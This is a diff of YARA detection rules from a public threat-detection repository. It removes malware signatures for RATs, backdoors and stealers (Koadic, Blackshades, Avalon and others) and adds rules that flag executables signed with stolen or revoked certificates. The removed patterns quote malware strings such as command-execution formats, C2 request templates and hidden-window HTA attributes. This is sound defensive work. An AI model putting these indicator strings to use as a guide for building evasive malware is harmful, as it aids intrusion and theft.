+		logic_hash = "de9008e30468b94b4afbc622403b0257f5c5e3964344b980c18fc95219e06667"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Rietspoof"
+		thumbprint = "9d5b6bc86775395992a25d21d696d05d634a89d1"
+		importance = 20
 
-	strings:
-		$c1 = "%s%s%s USER: user" fullword ascii
-		$c2 = "cmd /c %s" fullword ascii
-		$c3 = "CreateObject(\"Scripting.FileSystemObject\").DeleteFile(" ascii
-		$c4 = "WScript.Quit" fullword ascii
-		$c5 = "CPU: %s(%d)" fullword ascii
-		$c6 = "RAM: %lld Mb" fullword ascii
-		$c7 = "data.dat" fullword ascii
-		$c8 = "%s%s%s USER:" ascii
-		$v1_1 = ".vbs" ascii
-		$v1_2 = "HELLO" ascii
-		$v1_3 = "Wscript.Sleep" ascii
-		$v1_4 = "User-agent:Mozilla/5.0 (Windows; U;" ascii
-		$v2_1 = "Xjoepxt!" ascii
-		$v2_2 = "Content-MD5:%s" fullword ascii
-		$v2_3 = "M9h5an8f8zTjnyTwQVh6hYBdYsMqHiAz" fullword ascii
-		$v2_4 = "GET /%s?%s HTTP/1.1" fullword ascii
-		$v2_5 = "GET /?%s HTTP/1.1" fullword ascii
-		$pdb1 = "\\techloader\\loader\\loader.odb" ascii wide
-		$pdb2 = "\\loader\\Release\\loader_v1.0.pdb" ascii wide
+	condition:
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ceefaccdedbfbbaaaadacdbf" and pe.signatures[i].serial=="ae:c0:09:98:4f:a9:57:f3:f4:8f:e3:10:4c:a9:ba:bc")
+}
+import "pe"
+
+rule DITEKSHEN_INDICATOR_KB_CERT_283518F1940A11Caf187646D8063D61D : FILE
+{
+	meta:
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "cf5f7f11-3af6-577b-9a5e-eafe2de34e2b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3451-L3462"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "7db16bc44059e2538eb896011598a599c6aead90fb873c530ce8f5391e440164"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		thumbprint = "aaeb19203b71e26c857613a5a2ba298c79910f5d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($c*) and (3 of ($v*) or 1 of ($pdb*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eeeeeeba" and pe.signatures[i].serial=="28:35:18:f1:94:0a:11:ca:f1:87:64:6d:80:63:d6:1d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Modirat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_72F3E4707B94D0Eef214384De9B36E : FILE
 {
 	meta:
-		description = "MoDiRAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8b641c7a-5ebd-50e7-83cb-e408683c456b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bf02ea89-b3f3-58a1-8bcd-1a23b3c96b68"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1142-L1158"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3464-L3475"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d0760e9dab7e9c0affb2193ea249feea8bb58e519522ca2a562f015059ad5590"
+		logic_hash = "c2a310ff70012076856239b5b5e6b46ffa121479dea38815e61f5336cecf8868"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "add_Connected" fullword ascii
-		$s2 = "Statconnected" fullword ascii
-		$s3 = "StartConnect" fullword ascii
-		$s4 = "TelegramTitleDetect" fullword ascii
-		$s5 = "StartTitleTelegram" fullword ascii
-		$s6 = "Check_titles" fullword ascii
-		$s7 = "\\MoDi RAT V" ascii
-		$s8 = "IsBuzy" fullword ascii
-		$s9 = "Recording_Time" fullword wide
+		thumbprint = "e2a5a2823b0a56c88bfcb2788aa4406e084c4c9b"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 7 of them ) or all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eaaebecedccfd" and pe.signatures[i].serial=="72:f3:e4:70:7b:94:d0:ee:f2:14:38:4d:e9:b3:6e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_DOC_Koadicdoc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D875B3E3F2Db6C3Eb426E24946066111 : FILE
 {
 	meta:
-		description = "Koadic post-exploitation framework document payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "76d6c8df-4e42-5c0a-8344-f8848e7ac945"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a44cde8b-904b-5f1a-8cdb-4a8b16a42669"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1160-L1174"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3477-L3488"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9f0538e1faee737a08d403a7f321ce45bdc70b390accfe378ba0d26292509fd7"
+		logic_hash = "470424bf28b723063be5d6801ee27b0f3748b761f9005616dcab4bd864db5463"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "&@cls&@set" ascii
-		$s2 = /:~\d+,1%+/ ascii
-		$s3 = "Header Char" fullword wide
-		$s4 = "EMBED Package" ascii
-		$b1 = ".bat\"%" ascii
-		$b2 = ".bat');\\\"%" ascii
-		$b3 = ".bat',%" ascii
+		thumbprint = "d27211a59dc8a4b3073d116621b6857c3d70ed04"
+		importance = 20
 
 	condition:
-		uint16(0)==0xcfd0 and all of ($s*) and 2 of ($b*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kubit LLC" and pe.signatures[i].serial=="00:d8:75:b3:e3:f2:db:6c:3e:b4:26:e2:49:46:06:61:11")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_BAT_Koadicbat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3990362C34015Ce4C23Ecc3377Fd3C06 : FILE
 {
 	meta:
-		description = "Koadic post-exploitation framework BAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dad7bb32-b1f1-5c6d-89b2-77cc49b5f020"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e76824c2-6ee7-5117-a83f-0b8e4f2d3b61"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1176-L1186"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3490-L3501"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1ee6c0189a5111c61af1dbe571524427bff95a7e3907f97ce51d272a8f701cf5"
+		logic_hash = "5e91a10f5027cae35524bef326edf7d5bf3df5bbc37c111b01e33f7667b03ce3"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$v1_1 = "&@cls&@set" ascii
-		$v2_1 = { 26 63 6c 73 0d 0a 40 25 }
-		$m1 = /:~\d+,1%+/ ascii
+		thumbprint = "48444dec9d6839734d8383b110faabe05e697d45"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfeff and ((1 of ($v1*) or 1 of ($v2*)) and #m1>100)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RZOH ApS" and pe.signatures[i].serial=="39:90:36:2c:34:01:5c:e4:c2:3e:cc:33:77:fd:3c:06")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_JS_Koadicjs
+rule DITEKSHEN_INDICATOR_KB_CERT_54A6D33F73129E0Ef059Ccf51Be0C35E : FILE
 {
 	meta:
-		description = "Koadic post-exploitation framework JS payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8598d5cb-0486-52b0-a686-6bd014f35c44"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7b010276-718f-5168-bd8c-414252996fe6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1188-L1208"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3503-L3514"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "689116f74996fecf4c16c224e8cd842ad5b5e989de2dfdf0debeb9a26d8a12fa"
+		logic_hash = "93b332e4ad4e13c7e8241cf866091708232a6555a9240d828e558688167359a0"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = "window.moveTo(-" ascii
-		$s2 = "window.onerror = function(sMsg, sUrl, sLine) { return false; }" fullword ascii
-		$s3 = "window.onfocus = function() { window.blur(); }" fullword ascii
-		$s4 = "window.resizeTo(" ascii
-		$s5 = "window.blur();" fullword ascii
-		$hf1 = "<hta:application caption=\"no\" windowState=\"minimize\" showInTaskBar=\"no\"" fullword ascii
-		$hf2 = "<hta:application caption=\"no\" showInTaskBar=\"no\" windowState=\"minimize\" navigable=\"no\" scroll=\"no\""
-		$ht1 = "<hta:application" ascii
-		$ht2 = "caption=\"no\"" ascii
-		$ht3 = "showInTaskBar=\"no\"" ascii
-		$ht4 = "windowState=\"minimize\"" ascii
-		$ht5 = "navigable=\"no\"" ascii
-		$ht6 = "scroll=\"no\"" ascii
+		tags = "FILE"
+		thumbprint = "8ada307ab3a8983857d122c4cb48bf3b77b49c63"
+		importance = 20
 
 	condition:
-		all of ($s*) and (1 of ($hf*) or all of ($ht*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STAFFORD MEAT COMPANY, INC." and pe.signatures[i].serial=="54:a6:d3:3f:73:12:9e:0e:f0:59:cc:f5:1b:e0:c3:5e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_NETEAGLE : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A55C15F733Bf1633E9Ffae8A6E3B37D : FILE
 {
 	meta:
-		description = "NETEAGLE backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "89d1304a-63a0-50fc-855a-2e36cde1c5e7"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "86d8453b-115d-59f8-8123-5aff071ec3dd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1210-L1225"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3516-L3527"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "148de0ca332d3885d94eae8d15eb4aaa2bc4950c691c0e8817c816b7d4c55510"
+		logic_hash = "a772edb12dc0c351bb4d11f3e6ab3d9705af156ebeb4b8fff281bb418bfa1764"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
-		$s2 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
-		$s3 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
-		$s4 = "/index.htm" fullword ascii
-		$s5 = "Help_ME" fullword ascii
-		$s6 = "GOTO ERROR" ascii
-		$s7 = "127.0.0.1" fullword ascii
-		$s8 = /pic\d\.bmp/ ascii wide
+		thumbprint = "591f68885fc805a10996262c93aab498c81f3010"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Osnova OOO" and pe.signatures[i].serial=="0a:55:c1:5f:73:3b:f1:63:3e:9f:fa:e8:a6:e3:b3:7d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_WIN_BACKSPACE : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00F675139Ea68B897A865A98F8E4611F00 : FILE
 {
 	meta:
-		description = "BACKSPACE backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ff9b1c2e-66a1-5e09-8bc2-a7543161e518"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7035ed66-73f9-568e-9698-13d9bbede64e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1227-L1247"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3529-L3540"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3d366327c2272761349687b11e4d6baada5000936dc7f81665e0303f7d1e5121"
+		logic_hash = "9893e21fd2d5a475c9defb484921de17f4afc00619be413b9d5d55095e7f596a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Software\\Microsoft\\PnpSetup" ascii wide
-		$s2 = "Mutex_lnkword_little" ascii wide
-		$s3 = "(Prxy%c-%s:%u)" fullword ascii
-		$s4 = "(Prxy-No)" fullword ascii
-		$s5 = "/index.htm" fullword ascii
-		$s6 = "CONNECT %s:%d" ascii
-		$s7 = "\\$NtRecDoc$" fullword ascii
-		$s8 = "qazWSX123$%^" ascii
-		$s9 = "Software\\Microsoft\\Core" ascii wide
-		$s10 = "Mutex_lnkch" ascii wide
-		$s11 = "Event__lnkch__" ascii wide
-		$s12 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)" fullword ascii
-		$s13 = "User-Agent: Mozilla/5.00 (compatible; MSIE 6.0; Win32)" fullword ascii
+		thumbprint = "06d46ee9037080c003983d76be3216b7cad528f8"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BS TEHNIK d.o.o." and pe.signatures[i].serial=="00:f6:75:13:9e:a6:8b:89:7a:86:5a:98:f8:e4:61:1f:00")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Rhttpctrl : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_121Fca3Cfa4Bd011669F5Cc4E053Aa3F : FILE
 {
 	meta:
-		description = "RHttpCtrl backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "fa80db13-90af-5d6a-bcc2-ad1f6808268e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "be18fe1a-f810-5153-b565-97a0e33cf406"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1249-L1265"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3542-L3553"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a8b27fcc4636c2fe02a0e006295ece7f705cc9a042921f66ef1f9b6a88aaf9a1"
+		logic_hash = "c5f7f23d9ba35bed3540233217e18b84c5ac0528fd3fe809c162fce6ccce0791"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%d_%04d%02d%02d%02d%02d%02d." ascii
-		$s2 = "ver=%s&id=%06d&type=" ascii
-		$s3 = "ver=%d&id=%s&random=%d&" ascii
-		$s4 = "id=%d&output=%s" ascii
-		$s5 = "Error:WinHttpCrackUrl failed!/n" ascii
-		$s6 = "Error:SendRequest failed!/n" ascii
-		$s7 = ".exe a %s %s" ascii
-		$s8 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0" fullword wide
-		$pdb = "\\WorkSources\\RHttpCtrl\\Server\\Release\\svchost.pdb" ascii
+		thumbprint = "84b5ef4f981020df2385754ab1296821fa2f8977"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or ($pdb and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kymijoen Projektipalvelut Oy" and pe.signatures[i].serial=="12:1f:ca:3c:fa:4b:d0:11:66:9f:5c:c4:e0:53:aa:3f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Pillowmint : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_62B80Fc5E1C02072019C88Ee356152C1 : FILE
 {
 	meta:
-		description = "PillowMint POS payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e3d26a12-45aa-5f5d-997a-f350bc1bea97"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "08db7669-c3d6-5f27-988e-96e9fc0a60f3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1267-L1283"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3555-L3566"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ed2597fce1c56d2e110790e0eb89834b1bb9f6f52d39105157c9ffe2ede6cc7a"
+		logic_hash = "c06e31f5a071ff7c87af216d22bffa2970372fa341ad2593ef0c3c6a71dac945"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "system32\\sysvols\\" ascii nocase
-		$s2 = "Sysnative\\sysvols\\" ascii nocase
-		$s3 = "critical.log" fullword ascii
-		$s4 = "log.log" fullword ascii
-		$s5 = "commands.txt" fullword ascii
-		$s6 = "_EV0LuTi0N_" ascii
-		$s7 = /(file|reg)\scmd:/ fullword ascii
-		$s8 = "dumper_nologs_" ascii
-		$s9 = "ReflectiveLoader" ascii
+		thumbprint = "0a83c0f116020fc1f43558a9a08b1f8bcbb809e0"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Inversum" and pe.signatures[i].serial=="62:b8:0f:c5:e1:c0:20:72:01:9c:88:ee:35:61:52:c1")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Blackshadesrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_F0E150C304De35F2E9086185581F4053 : FILE
 {
 	meta:
-		description = "BlackshadesRAT / Cambot POS payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bd0ad920-109a-50b5-94af-6580684bff52"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d2a5cd5b-1e4a-5714-bff2-08f2c958cd0b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1285-L1300"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3581-L3592"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c2a76ce52bce9c37a3518ff459011acb733c2c5abac74786e41a1c169459ce2"
+		logic_hash = "fe3d5d57d0a98414e3e4f35248d3ebf64617c16a4119a21883c3679b06146745"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920208-920210"
-
-	strings:
-		$s1 = "bhookpl.dll" fullword wide
-		$s2 = "drvloadn.dll" fullword wide
-		$s3 = "drvloadx.dll" fullword wide
-		$s4 = "SPY_NET_RATMUTEX" fullword wide
-		$s5 = "\\dump.txt" fullword wide
-		$s6 = "AUTHLOADERDEFAULT" fullword wide
-		$pdb = "*\\AC:\\Users\\Admin\\Desktop_old\\Blackshades project\\bs_bot\\bots\\bot\\bs_bot.vbp" fullword wide
+		thumbprint = "c0a448b9101f48309a8e5a67c11db09da14b54bb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or ($pdb and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rare Ideas, LLC" and pe.signatures[i].serial=="f0:e1:50:c3:04:de:35:f2:e9:08:61:85:58:1f:40:53")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Goldenspy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_A1A3E7280E0A2Df12F84309649820519 : FILE
 {
 	meta:
-		description = "GoldenSpy dropper payload"
-		author = "SpiderLabs Trustwave"
-		id = "01d3f14a-fefb-5cea-b055-d7e9f4c7d13b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1302-L1314"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "71ad82d6-e45e-52a9-b1ff-f00cfe7b5186"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3594-L3605"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "908047db2167733da0089375dbfd636881e721cc219da110755b81581d438cfa"
+		logic_hash = "5c656fa5a6671f717cda5433c8780d308f11b7937e5ff66b4f3f74623b217365"
 		score = 75
-		quality = 67
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$reg = "Software\\IDG\\DA" nocase wide ascii
-		$str1 = "requestStr" nocase wide ascii
-		$str2 = "nb_app_log_mutex" nocase wide ascii
-		$str3 = { 510F4345[0-10]50518D8DCCFE[0-20]837D1C[0-20]8D45[0-15]0F4345[0-20]505157 }
+		thumbprint = "33d254c711937b469d1b08ef15b0a9f5b4d27250"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5A4D) and $reg and 2 of ($str*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Nir Sofer" and pe.signatures[i].serial=="a1:a3:e7:28:0e:0a:2d:f1:2f:84:30:96:49:82:05:19")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Plurox : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1Fb984D5A7296Ba74445C23Ead7D20Aa : FILE
 {
 	meta:
-		description = "Plurox backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c8a97132-c1d5-5456-a055-d46a9399dbdd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1e290f81-11ab-5d5f-ab7a-c703c875bde4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1316-L1328"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3607-L3618"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c2ec2ce7a9210d8eebb06c755eab51cab93fe6d48d737fd1756ffe42d46b35d1"
+		logic_hash = "ff29013eb20bccbec16107404fc18b07c87ac5269b788c48a49a490271e94052"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "autorun.c" fullword ascii
-		$s2 = "launcher.c" fullword ascii
-		$s3 = "loader.c" fullword ascii
-		$s4 = "stealth.c" fullword ascii
-		$s5 = "RunFromMemory" fullword ascii
+		thumbprint = "c852fc9670391ff077eb2590639051efa42db5c9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DrWeb Digital LLC" and pe.signatures[i].serial=="1f:b9:84:d5:a7:29:6b:a7:44:45:c2:3e:ad:7d:20:aa")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Avalon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C314A8736F82C411B9F02076A6Db4771 : FILE
 {
 	meta:
-		description = "Avalon infostealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3de01419-9f45-5d82-8391-2e1e41df2b34"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0a8af16c-f232-5e09-9825-0e8203ba7b45"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1330-L1359"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3620-L3631"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1aa9dc09ec4c8962dee0455dd367e32139e4c03f1b306f17ac6e82d71aacf713"
+		logic_hash = "8aa08c4d1da62d0629db6e29f7a730da3534f114620e30f8d89e5475c12f43de"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Parsecards" fullword ascii
-		$s2 = "Please_Gofuckyouself" fullword ascii
-		$s3 = "GetDomainDetect" fullword ascii
-		$s4 = "GetTotalCommander" fullword ascii
-		$s5 = "KnownFolder" fullword ascii
-		$s6 = "set_hidden" fullword ascii
-		$s7 = "set_system" fullword ascii
-		$l1 = "\\DomainDetect.txt" wide
-		$l2 = "\\Grabber_Log.txt" wide
-		$l3 = "\\Programs.txt" wide
-		$l4 = "\\Passwords_Edge.txt" wide
-		$l5 = "\\KL.txt" wide
-		$w1 = "dont touch" fullword wide
-		$w2 = "Grabber" fullword wide
-		$w3 = "Keylogger" fullword wide
-		$w4 = "password-check" fullword wide
-		$w5 = "H4sIAAAAAAAEA" wide
-		$p1 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" wide
-		$p2 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" wide
+		thumbprint = "9c49d7504551ad4ddffad206b095517a386e8a14"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cbcbaeaabbfcebfcbbeeffeadfc" and pe.signatures[i].serial=="c3:14:a8:73:6f:82:c4:11:b9:f0:20:76:a6:db:47:71")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_Kinsing : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5F7Ef778D51Cd33A5Fc0D2E035Ccd29D : FILE
 {
 	meta:
-		description = "Kinsing RAT payload"
